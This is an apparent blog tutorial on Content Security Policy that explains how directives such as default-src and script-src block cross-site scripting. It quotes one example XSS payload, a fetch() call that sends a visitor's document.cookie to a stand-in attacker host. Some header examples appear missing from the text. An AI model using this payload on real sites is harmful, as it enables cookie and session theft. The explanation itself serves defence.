Content Security Policy (CSP)
What is Content Security Policy (CSP)?
Content Security Policy (CSP) is a security feature implemented by browsers that helps protect websites from various types of attacks, particularly Cross-Site Scripting (XSS). It allows website owners to define which content (like scripts, images, or stylesheets) can be loaded and executed on their website.
By setting a CSP, you tell the browser to only load resources from trusted sources and block potentially dangerous content, like malicious scripts injected by an attacker. This adds a strong layer of defense against attacks like XSS.
How CSP Helps Prevent XSS
Let's revisit the XSS scenario to understand how CSP can mitigate the attack.
Recap of XSS Example
- The Vulnerability:
- Your website allows users to submit comments.
- The comments include HTML/JavaScript, which is displayed directly on the page without any sanitization.
- An attacker injects a malicious script (e.g.,
fetch('https://attacker-website.com/steal?cookie=' + document.cookie);) into the comment section. - The malicious script is executed when other users load the page, leading to stolen data (e.g., cookies, session information).
How CSP Can Prevent This XSS Attack
Without CSP, the malicious script can execute freely. However, with CSP in place, the browser will follow the policy defined by you and prevent scripts from untrusted sources from running.
How to Set a Basic CSP to Prevent XSS
CSP can be set by adding an HTTP header to your server’s response or via meta tags in your HTML document.
A basic CSP header looks like this:
Breakdown of the CSP Directives:
default-src 'self': This means that only resources (scripts, images, styles, etc.) from the same domain as the website (i.e.,'self') are allowed to be loaded. This helps prevent the inclusion of external resources from untrusted sources.script-src 'self': This restricts scripts to be loaded only from the same origin as the website (i.e., no external scripts). Any external script, like the one injected by the attacker, will be blocked.object-src 'none': This denies the loading of plugins or anyobjecttags (like Flash or Java applets) on the website.
Example of CSP in Action:
Let’s consider the attacker’s malicious comment again:
- Without CSP: The script is embedded in the comment and executed because no CSP policy is in place to block it.
- With CSP: The browser reads the CSP header and sees that
script-srcis restricted to'self'. This means:- The script is blocked because it's not from the same origin (
my-frontend.com). - The attacker’s external script(which is from diffrent origin https://attacker-website.com) cannot be loaded and executed.
- The script is blocked because it's not from the same origin (
How CSP Works in the Browser
Server Sends CSP Header:
- When the browser requests your webpage, the server sends a response with the CSP header, which defines the rules about where content can come from.
Browser Enforces CSP:
- The browser checks the CSP header and ensures that only allowed resources (scripts, images, etc.) are loaded.
- If any resource violates the policy (e.g., a script from an external source), the browser blocks it.
Blocked Malicious Content:
- In the XSS scenario, when the attacker tries to inject a malicious script, the browser will detect that the script is not from an allowed source and block it from executing.
CSP Directives You Can Use for XSS Protection
default-src: Restricts the default source of all content (like scripts, images, etc.) to'self'(same domain).script-src: Specifically controls which scripts are allowed. To prevent external scripts:style-src: Controls where CSS styles can come from. To allow only inline styles from trusted sources, you might use:object-src: Prevents potentially dangerous plugins from being loaded.frame-ancestors: Prevents your site from being embedded in an iframe from another domain, which can also prevent clickjacking
Comments
Post a Comment